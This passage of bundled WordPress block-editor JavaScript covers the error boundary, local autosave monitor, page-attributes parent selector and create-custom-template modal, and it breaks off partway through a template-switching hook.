13814 { strong: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {}) }
13815 ) : selectItemsToSaveDescription })
13816 ] })
13817 ] }),
13818 sortedPartitionedSavables.map((list) => {
13819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13820 EntityTypeList,
13821 {
13822 list,
13823 unselectedEntities,
13824 setUnselectedEntities
13825 },
13826 list[0].name
13827 );
13828 }),
13829 isInline && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13830 external_wp_components_namespaceObject.Flex,
13831 {
13832 direction: "row",
13833 justify: "flex-end",
13834 className: "entities-saved-states__panel-footer",
13835 children: actionButtons
13836 }
13837 )
13838 ]
13839 }
13840 );
13841}
13842
13843
13844;// ./node_modules/@wordpress/editor/build-module/components/error-boundary/index.js
13845
13846
13847
13848
13849
13850
13851
13852
13853function getContent() {
13854 try {
13855 return (0,external_wp_data_namespaceObject.select)(store_store).getEditedPostContent();
13856 } catch (error) {
13857 }
13858}
13859function CopyButton({ text, children, variant = "secondary" }) {
13860 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text);
13861 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant, ref, children });
13862}
13863class ErrorBoundary extends external_wp_element_namespaceObject.Component {
13864 constructor() {
13865 super(...arguments);
13866 this.state = {
13867 error: null
13868 };
13869 }
13870 componentDidCatch(error) {
13871 (0,external_wp_hooks_namespaceObject.doAction)("editor.ErrorBoundary.errorLogged", error);
13872 }
13873 static getDerivedStateFromError(error) {
13874 return { error };
13875 }
13876 render() {
13877 const { error } = this.state;
13878 const { canCopyContent = false } = this.props;
13879 if (!error) {
13880 return this.props.children;
13881 }
13882 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13883 external_wp_components_namespaceObject.__experimentalHStack,
13884 {
13885 className: "editor-error-boundary",
13886 alignment: "baseline",
13887 spacing: 4,
13888 justify: "space-between",
13889 expanded: false,
13890 wrap: true,
13891 children: [
13892 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)("The editor has encountered an unexpected error.") }),
13893 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: false, children: [
13894 canCopyContent && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, { text: getContent, children: (0,external_wp_i18n_namespaceObject.__)("Copy contents") }),
13895 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, { variant: "primary", text: error?.stack, children: (0,external_wp_i18n_namespaceObject.__)("Copy error") })
13896 ] })
13897 ]
13898 }
13899 );
13900 }
13901}
13902var error_boundary_default = ErrorBoundary;
13903
13904
13905;// ./node_modules/@wordpress/editor/build-module/components/local-autosave-monitor/index.js
13906
13907
13908
13909
13910
13911
13912
13913
13914
13915
13916const requestIdleCallback = window.requestIdleCallback ? window.requestIdleCallback : window.requestAnimationFrame;
13917let hasStorageSupport;
13918const hasSessionStorageSupport = () => {
13919 if (hasStorageSupport !== void 0) {
13920 return hasStorageSupport;
13921 }
13922 try {
13923 window.sessionStorage.setItem("__wpEditorTestSessionStorage", "");
13924 window.sessionStorage.removeItem("__wpEditorTestSessionStorage");
13925 hasStorageSupport = true;
13926 } catch {
13927 hasStorageSupport = false;
13928 }
13929 return hasStorageSupport;
13930};
13931function useAutosaveNotice() {
13932 const { postId, isEditedPostNew, hasRemoteAutosave } = (0,external_wp_data_namespaceObject.useSelect)(
13933 (select) => ({
13934 postId: select(store_store).getCurrentPostId(),
13935 isEditedPostNew: select(store_store).isEditedPostNew(),
13936 hasRemoteAutosave: !!select(store_store).getEditorSettings().autosave
13937 }),
13938 []
13939 );
13940 const { getEditedPostAttribute } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
13941 const { createWarningNotice, removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
13942 const { editPost, resetEditorBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
13943 (0,external_wp_element_namespaceObject.useEffect)(() => {
13944 let localAutosave = localAutosaveGet(postId, isEditedPostNew);
13945 if (!localAutosave) {
13946 return;
13947 }
13948 try {
13949 localAutosave = JSON.parse(localAutosave);
13950 } catch {
13951 return;
13952 }
13953 const { post_title: title, content, excerpt } = localAutosave;
13954 const edits = { title, content, excerpt };
13955 {
13956 const hasDifference = Object.keys(edits).some((key) => {
13957 return edits[key] !== getEditedPostAttribute(key);
13958 });
13959 if (!hasDifference) {
13960 localAutosaveClear(postId, isEditedPostNew);
13961 return;
13962 }
13963 }
13964 if (hasRemoteAutosave) {
13965 return;
13966 }
13967 const id = "wpEditorAutosaveRestore";
13968 createWarningNotice(
13969 (0,external_wp_i18n_namespaceObject.__)(
13970 "The backup of this post in your browser is different from the version below."
13971 ),
13972 {
13973 id,
13974 actions: [
13975 {
13976 label: (0,external_wp_i18n_namespaceObject.__)("Restore the backup"),
13977 onClick() {
13978 const {
13979 content: editsContent,
13980 ...editsWithoutContent
13981 } = edits;
13982 editPost(editsWithoutContent);
13983 resetEditorBlocks((0,external_wp_blocks_namespaceObject.parse)(edits.content));
13984 removeNotice(id);
13985 }
13986 }
13987 ]
13988 }
13989 );
13990 }, [isEditedPostNew, postId]);
13991}
13992function useAutosavePurge() {
13993 const { postId, isEditedPostNew, isDirty, isAutosaving, didError } = (0,external_wp_data_namespaceObject.useSelect)(
13994 (select) => ({
13995 postId: select(store_store).getCurrentPostId(),
13996 isEditedPostNew: select(store_store).isEditedPostNew(),
13997 isDirty: select(store_store).isEditedPostDirty(),
13998 isAutosaving: select(store_store).isAutosavingPost(),
13999 didError: select(store_store).didPostSaveRequestFail()
14000 }),
14001 []
14002 );
14003 const lastIsDirtyRef = (0,external_wp_element_namespaceObject.useRef)(isDirty);
14004 const lastIsAutosavingRef = (0,external_wp_element_namespaceObject.useRef)(isAutosaving);
14005 (0,external_wp_element_namespaceObject.useEffect)(() => {
14006 if (!didError && (lastIsAutosavingRef.current && !isAutosaving || lastIsDirtyRef.current && !isDirty)) {
14007 localAutosaveClear(postId, isEditedPostNew);
14008 }
14009 lastIsDirtyRef.current = isDirty;
14010 lastIsAutosavingRef.current = isAutosaving;
14011 }, [isDirty, isAutosaving, didError]);
14012 const wasEditedPostNew = (0,external_wp_compose_namespaceObject.usePrevious)(isEditedPostNew);
14013 const prevPostId = (0,external_wp_compose_namespaceObject.usePrevious)(postId);
14014 (0,external_wp_element_namespaceObject.useEffect)(() => {
14015 if (prevPostId === postId && wasEditedPostNew && !isEditedPostNew) {
14016 localAutosaveClear(postId, true);
14017 }
14018 }, [isEditedPostNew, postId]);
14019}
14020function LocalAutosaveMonitor() {
14021 const { autosave } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14022 const deferredAutosave = (0,external_wp_element_namespaceObject.useCallback)(() => {
14023 requestIdleCallback(() => autosave({ local: true }));
14024 }, []);
14025 useAutosaveNotice();
14026 useAutosavePurge();
14027 const localAutosaveInterval = (0,external_wp_data_namespaceObject.useSelect)(
14028 (select) => select(store_store).getEditorSettings().localAutosaveInterval,
14029 []
14030 );
14031 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14032 autosave_monitor_default,
14033 {
14034 interval: localAutosaveInterval,
14035 autosave: deferredAutosave
14036 }
14037 );
14038}
14039var local_autosave_monitor_default = (0,external_wp_compose_namespaceObject.ifCondition)(hasSessionStorageSupport)(LocalAutosaveMonitor);
14040
14041
14042;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/check.js
14043
14044
14045
14046function PageAttributesCheck({ children }) {
14047 const supportsPageAttributes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14048 const { getEditedPostAttribute } = select(store_store);
14049 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
14050 const postType = getPostType(getEditedPostAttribute("type"));
14051 return !!postType?.supports?.["page-attributes"];
14052 }, []);
14053 if (!supportsPageAttributes) {
14054 return null;
14055 }
14056 return children;
14057}
14058var check_check_default = PageAttributesCheck;
14059
14060
14061;// ./node_modules/@wordpress/editor/build-module/components/post-type-support-check/index.js
14062
14063
14064
14065function checkSupport(supports = {}, key) {
14066 if (supports[key] !== void 0) {
14067 return !!supports[key];
14068 }
14069 const [topKey, subKey] = key.split(".");
14070 const [subProperties] = Array.isArray(supports[topKey]) ? supports[topKey] : [];
14071 return Array.isArray(subProperties) ? subProperties.includes(subKey) : !!subProperties?.[subKey];
14072}
14073function PostTypeSupportCheck({ children, supportKeys }) {
14074 const postType = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14075 const { getEditedPostAttribute } = select(store_store);
14076 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
14077 return getPostType(getEditedPostAttribute("type"));
14078 }, []);
14079 let isSupported = !!postType;
14080 if (postType) {
14081 isSupported = (Array.isArray(supportKeys) ? supportKeys : [supportKeys]).some((key) => checkSupport(postType.supports, key));
14082 }
14083 if (!isSupported) {
14084 return null;
14085 }
14086 return children;
14087}
14088var post_type_support_check_default = PostTypeSupportCheck;
14089
14090
14091;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/order.js
14092
14093
14094
14095
14096
14097
14098
14099function PageAttributesOrder() {
14100 const order = (0,external_wp_data_namespaceObject.useSelect)(
14101 (select) => select(store_store).getEditedPostAttribute("menu_order") ?? 0,
14102 []
14103 );
14104 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14105 const [orderInput, setOrderInput] = (0,external_wp_element_namespaceObject.useState)(null);
14106 const setUpdatedOrder = (value2) => {
14107 setOrderInput(value2);
14108 const newOrder = Number(value2);
14109 if (Number.isInteger(newOrder) && value2.trim?.() !== "") {
14110 editPost({ menu_order: newOrder });
14111 }
14112 };
14113 const value = orderInput ?? order;
14114 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14115 external_wp_components_namespaceObject.__experimentalNumberControl,
14116 {
14117 __next40pxDefaultSize: true,
14118 label: (0,external_wp_i18n_namespaceObject.__)("Order"),
14119 help: (0,external_wp_i18n_namespaceObject.__)("Set the page order."),
14120 value,
14121 onChange: setUpdatedOrder,
14122 hideLabelFromVision: true,
14123 onBlur: () => {
14124 setOrderInput(null);
14125 }
14126 }
14127 ) }) });
14128}
14129function PageAttributesOrderWithChecks() {
14130 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "page-attributes", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PageAttributesOrder, {}) });
14131}
14132
14133
14134;// ./node_modules/@wordpress/editor/build-module/components/post-panel-row/index.js
14135
14136
14137
14138
14139const PostPanelRow = (0,external_wp_element_namespaceObject.forwardRef)(({ className, label, children }, ref) => {
14140 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
14141 external_wp_components_namespaceObject.__experimentalHStack,
14142 {
14143 className: dist_clsx("editor-post-panel__row", className),
14144 ref,
14145 children: [
14146 label && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-panel__row-label", children: label }),
14147 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-panel__row-control", children })
14148 ]
14149 }
14150 );
14151});
14152var post_panel_row_default = PostPanelRow;
14153
14154
14155;// ./node_modules/@wordpress/editor/build-module/utils/terms.js
14156
14157function terms_buildTermsTree(flatTerms) {
14158 const flatTermsWithParentAndChildren = flatTerms.map((term) => {
14159 return {
14160 children: [],
14161 parent: void 0,
14162 ...term
14163 };
14164 });
14165 if (flatTermsWithParentAndChildren.some(
14166 ({ parent }) => parent === void 0
14167 )) {
14168 return flatTermsWithParentAndChildren;
14169 }
14170 const termsByParent = flatTermsWithParentAndChildren.reduce(
14171 (acc, term) => {
14172 const { parent } = term;
14173 if (!acc[parent]) {
14174 acc[parent] = [];
14175 }
14176 acc[parent].push(term);
14177 return acc;
14178 },
14179 {}
14180 );
14181 const fillWithChildren = (terms) => {
14182 return terms.map((term) => {
14183 const children = termsByParent[term.id];
14184 return {
14185 ...term,
14186 children: children && children.length ? fillWithChildren(children) : []
14187 };
14188 });
14189 };
14190 return fillWithChildren(termsByParent["0"] || []);
14191}
14192const unescapeString = (arg) => {
14193 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(arg);
14194};
14195const unescapeTerm = (term) => {
14196 return {
14197 ...term,
14198 name: unescapeString(term.name)
14199 };
14200};
14201const unescapeTerms = (terms) => {
14202 return (terms ?? []).map(unescapeTerm);
14203};
14204
14205
14206;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/parent.js
14207
14208
14209
14210
14211
14212
14213
14214
14215
14216
14217
14218
14219
14220
14221function getTitle(post) {
14222 return post?.title?.rendered ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title.rendered) : `#${post.id} (${(0,external_wp_i18n_namespaceObject.__)("no title")})`;
14223}
14224const parent_getItemPriority = (name, searchValue) => {
14225 const normalizedName = remove_accents_default()(name || "").toLowerCase();
14226 const normalizedSearch = remove_accents_default()(searchValue || "").toLowerCase();
14227 if (normalizedName === normalizedSearch) {
14228 return 0;
14229 }
14230 if (normalizedName.startsWith(normalizedSearch)) {
14231 return normalizedName.length;
14232 }
14233 return Infinity;
14234};
14235function parent_PageAttributesParent() {
14236 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
14237 const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)(false);
14238 const {
14239 isHierarchical,
14240 parentPostId,
14241 parentPostTitle,
14242 pageItems,
14243 isLoading
14244 } = (0,external_wp_data_namespaceObject.useSelect)(
14245 (select) => {
14246 const {
14247 getPostType,
14248 getEntityRecords,
14249 getEntityRecord,
14250 isResolving
14251 } = select(external_wp_coreData_namespaceObject.store);
14252 const { getCurrentPostId, getEditedPostAttribute } = select(store_store);
14253 const postTypeSlug = getEditedPostAttribute("type");
14254 const pageId = getEditedPostAttribute("parent");
14255 const pType = getPostType(postTypeSlug);
14256 const postId = getCurrentPostId();
14257 const postIsHierarchical = pType?.hierarchical ?? false;
14258 const query = {
14259 per_page: 100,
14260 exclude: postId,
14261 parent_exclude: postId,
14262 orderby: "menu_order",
14263 order: "asc",
14264 _fields: "id,title,parent"
14265 };
14266 if (!!fieldValue) {
14267 query.search = fieldValue;
14268 }
14269 const parentPost = pageId ? getEntityRecord("postType", postTypeSlug, pageId) : null;
14270 return {
14271 isHierarchical: postIsHierarchical,
14272 parentPostId: pageId,
14273 parentPostTitle: parentPost ? getTitle(parentPost) : "",
14274 pageItems: postIsHierarchical ? getEntityRecords("postType", postTypeSlug, query) : null,
14275 isLoading: postIsHierarchical ? isResolving("getEntityRecords", [
14276 "postType",
14277 postTypeSlug,
14278 query
14279 ]) : false
14280 };
14281 },
14282 [fieldValue]
14283 );
14284 const parentOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
14285 const getOptionsFromTree = (tree2, level = 0) => {
14286 const mappedNodes = tree2.map((treeNode) => [
14287 {
14288 value: treeNode.id,
14289 label: "\u2014 ".repeat(level) + (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(treeNode.name),
14290 rawName: treeNode.name
14291 },
14292 ...getOptionsFromTree(treeNode.children || [], level + 1)
14293 ]);
14294 const sortedNodes = mappedNodes.sort(([a], [b]) => {
14295 const priorityA = parent_getItemPriority(a.rawName, fieldValue);
14296 const priorityB = parent_getItemPriority(b.rawName, fieldValue);
14297 return priorityA >= priorityB ? 1 : -1;
14298 });
14299 return sortedNodes.flat();
14300 };
14301 if (!pageItems) {
14302 return [];
14303 }
14304 let tree = pageItems.map((item) => ({
14305 id: item.id,
14306 parent: item.parent,
14307 name: getTitle(item)
14308 }));
14309 if (!fieldValue) {
14310 tree = terms_buildTermsTree(tree);
14311 }
14312 const opts = getOptionsFromTree(tree);
14313 const optsHasParent = opts.find(
14314 (item) => item.value === parentPostId
14315 );
14316 if (parentPostTitle && !optsHasParent) {
14317 opts.unshift({
14318 value: parentPostId,
14319 label: parentPostTitle
14320 });
14321 }
14322 return opts;
14323 }, [pageItems, fieldValue, parentPostTitle, parentPostId]);
14324 if (!isHierarchical) {
14325 return null;
14326 }
14327 const handleKeydown = (inputValue) => {
14328 setFieldValue(inputValue);
14329 };
14330 const handleChange = (selectedPostId) => {
14331 editPost({ parent: selectedPostId });
14332 };
14333 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14334 external_wp_components_namespaceObject.ComboboxControl,
14335 {
14336 __nextHasNoMarginBottom: true,
14337 __next40pxDefaultSize: true,
14338 className: "editor-page-attributes__parent",
14339 label: (0,external_wp_i18n_namespaceObject.__)("Parent"),
14340 help: (0,external_wp_i18n_namespaceObject.__)("Choose a parent page."),
14341 value: parentPostId,
14342 options: parentOptions,
14343 onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(handleKeydown, 300),
14344 onChange: handleChange,
14345 hideLabelFromVision: true,
14346 isLoading
14347 }
14348 );
14349}
14350function PostParentToggle({ isOpen, onClick }) {
14351 const parentPost = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14352 const { getEditedPostAttribute } = select(store_store);
14353 const parentPostId = getEditedPostAttribute("parent");
14354 if (!parentPostId) {
14355 return null;
14356 }
14357 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
14358 const postTypeSlug = getEditedPostAttribute("type");
14359 return getEntityRecord("postType", postTypeSlug, parentPostId);
14360 }, []);
14361 const parentTitle = (0,external_wp_element_namespaceObject.useMemo)(
14362 () => !parentPost ? (0,external_wp_i18n_namespaceObject.__)("None") : getTitle(parentPost),
14363 [parentPost]
14364 );
14365 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14366 external_wp_components_namespaceObject.Button,
14367 {
14368 size: "compact",
14369 className: "editor-post-parent__panel-toggle",
14370 variant: "tertiary",
14371 "aria-expanded": isOpen,
14372 "aria-label": (
14373 // translators: %s: Current post parent.
14374 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Change parent: %s"), parentTitle)
14375 ),
14376 onClick,
14377 children: parentTitle
14378 }
14379 );
14380}
14381function ParentRow() {
14382 const homeUrl = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14383 return select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "__unstableBase")?.home;
14384 }, []);
14385 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
14386 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
14387 () => ({
14388 // Anchor the popover to the middle of the entire row so that it doesn't
14389 // move around when the label changes.
14390 anchor: popoverAnchor,
14391 placement: "left-start",
14392 offset: 36,
14393 shift: true
14394 }),
14395 [popoverAnchor]
14396 );
14397 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Parent"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14398 external_wp_components_namespaceObject.Dropdown,
14399 {
14400 popoverProps,
14401 className: "editor-post-parent__panel-dropdown",
14402 contentClassName: "editor-post-parent__panel-dialog",
14403 focusOnMount: true,
14404 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostParentToggle, { isOpen, onClick: onToggle }),
14405 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-parent", children: [
14406 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14407 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
14408 {
14409 title: (0,external_wp_i18n_namespaceObject.__)("Parent"),
14410 onClose
14411 }
14412 ),
14413 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
14414 (0,external_wp_element_namespaceObject.createInterpolateElement)(
14415 (0,external_wp_i18n_namespaceObject.sprintf)(
14416 /* translators: %s: The home URL of the WordPress installation without the scheme. */
14417 (0,external_wp_i18n_namespaceObject.__)(
14418 'Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %s<wbr />/services<wbr />/pricing.'
14419 ),
14420 (0,external_wp_url_namespaceObject.filterURLForDisplay)(homeUrl).replace(
14421 /([/.])/g,
14422 "<wbr />$1"
14423 )
14424 ),
14425 {
14426 wbr: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("wbr", {})
14427 }
14428 ),
14429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
14430 (0,external_wp_i18n_namespaceObject.__)(
14431 "They also show up as sub-items in the default navigation menu. <a>Learn more.</a>"
14432 ),
14433 {
14434 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14435 external_wp_components_namespaceObject.ExternalLink,
14436 {
14437 href: (0,external_wp_i18n_namespaceObject.__)(
14438 "https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes"
14439 )
14440 }
14441 )
14442 }
14443 ) })
14444 ] }),
14445 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(parent_PageAttributesParent, {})
14446 ] })
14447 }
14448 ) });
14449}
14450var parent_parent_default = parent_PageAttributesParent;
14451
14452
14453;// ./node_modules/@wordpress/editor/build-module/components/page-attributes/panel.js
14454
14455
14456
14457
14458
14459
14460const PANEL_NAME = "page-attributes";
14461function AttributesPanel() {
14462 const { isEnabled, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
14463 const { getEditedPostAttribute, isEditorPanelEnabled } = select(store_store);
14464 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
14465 return {
14466 isEnabled: isEditorPanelEnabled(PANEL_NAME),
14467 postType: getPostType(getEditedPostAttribute("type"))
14468 };
14469 }, []);
14470 if (!isEnabled || !postType) {
14471 return null;
14472 }
14473 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ParentRow, {});
14474}
14475function PageAttributesPanel() {
14476 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AttributesPanel, {}) });
14477}
14478
14479
14480;// ./node_modules/@wordpress/icons/build-module/library/add-template.js
14481
14482
14483var add_template_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14484 external_wp_primitives_namespaceObject.Path,
14485 {
14486 fillRule: "evenodd",
14487 clipRule: "evenodd",
14488 d: "M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z"
14489 }
14490) });
14491
14492
14493;// ./node_modules/@wordpress/editor/build-module/components/post-template/create-new-template-modal.js
14494
14495
14496
14497
14498
14499
14500
14501
14502
14503const DEFAULT_TITLE = (0,external_wp_i18n_namespaceObject.__)("Custom Template");
14504function CreateNewTemplateModal({ onClose }) {
14505 const { defaultBlockTemplate, onNavigateToEntityRecord } = (0,external_wp_data_namespaceObject.useSelect)(
14506 (select) => {
14507 const { getEditorSettings, getCurrentTemplateId } = select(store_store);
14508 return {
14509 defaultBlockTemplate: getEditorSettings().defaultBlockTemplate,
14510 onNavigateToEntityRecord: getEditorSettings().onNavigateToEntityRecord,
14511 getTemplateId: getCurrentTemplateId
14512 };
14513 }
14514 );
14515 const { createTemplate } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
14516 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)("");
14517 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
14518 const cancel = () => {
14519 setTitle("");
14520 onClose();
14521 };
14522 const submit = async (event) => {
14523 event.preventDefault();
14524 if (isBusy) {
14525 return;
14526 }
14527 setIsBusy(true);
14528 const newTemplateContent = defaultBlockTemplate ?? (0,external_wp_blocks_namespaceObject.serialize)([
14529 (0,external_wp_blocks_namespaceObject.createBlock)(
14530 "core/group",
14531 {
14532 tagName: "header",
14533 layout: { inherit: true }
14534 },
14535 [
14536 (0,external_wp_blocks_namespaceObject.createBlock)("core/site-title"),
14537 (0,external_wp_blocks_namespaceObject.createBlock)("core/site-tagline")
14538 ]
14539 ),
14540 (0,external_wp_blocks_namespaceObject.createBlock)("core/separator"),
14541 (0,external_wp_blocks_namespaceObject.createBlock)(
14542 "core/group",
14543 {
14544 tagName: "main"
14545 },
14546 [
14547 (0,external_wp_blocks_namespaceObject.createBlock)(
14548 "core/group",
14549 {
14550 layout: { inherit: true }
14551 },
14552 [(0,external_wp_blocks_namespaceObject.createBlock)("core/post-title")]
14553 ),
14554 (0,external_wp_blocks_namespaceObject.createBlock)("core/post-content", {
14555 layout: { inherit: true }
14556 })
14557 ]
14558 )
14559 ]);
14560 const newTemplate = await createTemplate({
14561 slug: paramCase(title || DEFAULT_TITLE) || "wp-custom-template",
14562 content: newTemplateContent,
14563 title: title || DEFAULT_TITLE
14564 });
14565 setIsBusy(false);
14566 onNavigateToEntityRecord({
14567 postId: newTemplate.id,
14568 postType: "wp_template"
14569 });
14570 cancel();
14571 };
14572 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14573 external_wp_components_namespaceObject.Modal,
14574 {
14575 title: (0,external_wp_i18n_namespaceObject.__)("Create custom template"),
14576 onRequestClose: cancel,
14577 focusOnMount: "firstContentElement",
14578 size: "small",
14579 overlayClassName: "editor-post-template__create-template-modal",
14580 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14581 "form",
14582 {
14583 className: "editor-post-template__create-form",
14584 onSubmit: submit,
14585 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "3", children: [
14586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14587 external_wp_components_namespaceObject.TextControl,
14588 {
14589 __next40pxDefaultSize: true,
14590 __nextHasNoMarginBottom: true,
14591 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
14592 value: title,
14593 onChange: setTitle,
14594 placeholder: DEFAULT_TITLE,
14595 disabled: isBusy,
14596 help: (0,external_wp_i18n_namespaceObject.__)(
14597 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
14598 'Describe the template, e.g. "Post with sidebar". A custom template can be manually applied to any post or page.'
14599 )
14600 }
14601 ),
14602 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
14603 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14604 external_wp_components_namespaceObject.Button,
14605 {
14606 __next40pxDefaultSize: true,
14607 variant: "tertiary",
14608 onClick: cancel,
14609 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
14610 }
14611 ),
14612 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14613 external_wp_components_namespaceObject.Button,
14614 {
14615 __next40pxDefaultSize: true,
14616 variant: "primary",
14617 type: "submit",
14618 isBusy,
14619 "aria-disabled": isBusy,
14620 children: (0,external_wp_i18n_namespaceObject.__)("Create")
14621 }
14622 )
14623 ] })
14624 ] })
14625 }
14626 )
14627 }
14628 );
14629}
14630
14631
14632;// ./node_modules/@wordpress/editor/build-module/components/post-template/hooks.js
14633
14634
14635
14636
14637function useEditedPostContext() {
14638 return (0,external_wp_data_namespaceObject.useSelect)((select) => {
14639 const { getCurrentPostId, getCurrentPostType } = select(store_store);
14640 return {
14641 postId: getCurrentPostId(),
14642 postType: getCurrentPostType()
14643 };
14644 }, []);
14645}
14646function useAllowSwitchingTemplates() {
14647 const { postType, postId } = useEditedPostContext();
14648 return (0,external_wp_data_namespaceObject.useSelect)(
14649 (select) => {
14650 const { canUser, getEntityRecord, getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
14651 const siteSettings = canUser("read", {
14652 kind: "root",
14653 name: "site"
14654 }) ? getEntityRecord("root", "site") : void 0;
14655 const isPostsPage = +postId === siteSettings?.page_for_posts;
14656 const isFrontPage = postType === "page" && +postId === siteSettings?.page_on_front;
